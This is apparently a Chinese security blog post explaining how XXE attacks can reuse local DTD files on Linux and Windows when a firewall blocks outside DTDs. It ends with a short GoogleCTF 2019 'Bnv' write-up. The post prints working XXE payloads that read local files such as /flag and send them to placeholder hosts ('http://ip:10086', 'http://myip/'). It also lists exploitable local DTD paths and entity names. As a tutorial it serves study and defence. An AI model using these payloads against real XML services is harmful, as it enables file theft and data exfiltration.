XXE:引用本地DTD与[GoogleCTF2019 Quals]Bnv

作者: const27 分类: All,XXE 发布时间: 2020-08-19 16:32

什么时候需要XXE引用本地DTD

我们知道,XXE很多时候需要引用外部DTD。
比如无回显读取文件,需要外带的时候,因为当前DTD里不能直接在ENTITY里调用参数实体,但是外部DTD却可以在ENTITY里直接调用参数实体,所以就会引入外部DTD。
注意我这里说的外部DTD并非是指其他机器上的DTD,而是非当前xml文档的DTD

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>

test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/phpStudy/WWW/a.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:10086?p=%file;'>">

但是有些时候,被攻击机无法访问外网的外部DTD文件(防火墙等缘故),那么我们怎样去加载外部DTD呢?答案是引用本地的DTD文件

xxe与本地DTD文件

不论是Win还是linux,机器上都有着许多自带的DTD文件。
我们xxe攻击时,可以直接引用本地DTD文件来达到我们引用外部DTD的目的。
但是有些人此时就会发出这样的疑问:
本地DTD文件并不是按照我们的意图来写的,那该怎么利用?
确实,许多本地DTD文件并不是按照我们的攻击意图来写的,但是我们可以直接覆写DTD里的某个ENTITY块来达到我们的目的。
覆写很简单,xxe payload里只需用引用某个本地DTD文件,然后再在payload里重新定义一个与DTD文件里同名的ENTITY块即可,这样做就会覆写同名ENTITY块。
可能不是很懂,看例子就行了。

在linux里有一个dtd文件/usr/share/yelp/dtd/docbookx.dtd
这是一个xxe经常用到的本地dtd文件,你只需重写这个dtd文件的ISOamsa 参数实体即可达到自定义dtd文件的目的。

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>  //这里就是覆写ISOamsa参数实体的部分,是的只需要重新定义一个同名实体即可达到覆写的目的.只需把我们想要的DTD文件内容放进去就行了

好的,例子要来了。
假设我们最开始提到的那个引用外网外部dtd的payload因为受害机防火墙等缘故不能调用外网dtd文件了,那么我们以调用本地DTD目的来对其改造。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
   '> 
%remote;
]>

这里嵌套了三层,第二层只需转义%即可,第三层就需要转移&,%,”了

本地DTD文件

看到上面那个例子,估计还是会有很多人蒙圈。为什么直接在ISOamso块里写我们想要的DTD内容就能达到我们想要的目的?
这个原理我们就通过另一个dtd文件来道明
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
这个本地dtd之所以可以被引用来造成xxe的核心部分如下

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

如果我们要覆写condition参数实体的话,我们就应该这样覆写

......
<!ENTITY % condition "a)>
   .....
   you dtd code
   .....
<!ENTITY % fake (">

看出端倪了吗,这里我们直接使用注入的技俩,在原本的本地DTD文件中注入了我们想要的内容,从而达到了可以肆意往本地dtd文件中增添数据的目的,于是我们就可以在其中写入我们想要的dtd数据达到攻击的目的。

至于 /usr/share/yelp/dtd/docbookx.dtd ,它的ISOamso参数实体部分则直接被释放到了dtd文件内容中,这意味着我们只需要修改ISOamso参数实体,即可使其内容被释放到dtd文件内容中

xxe3.png

这样的dtd文件给了xxe本地引用dtd可乘之机,刚刚提到的最常用的

这样的dtd文件有很多

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

....

[GoogleCTF2019 Quals]Bnv

其实是这道题引发了我去关注xxe本地dtd引用的,因为这道题就是靠这个点解的.

本题最开始是json传输数据,但是可以通过修改头部改为xml传输数据

改成xml发现可行后,自然是优先考虑xxe,然后xpath注入。
然后通过xxe尝试外带

尝试一下外网dtd,发现不行,那就本地dtd吧。

还正打算外带呢,结果一个报错把flag直接爆出来了。。。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云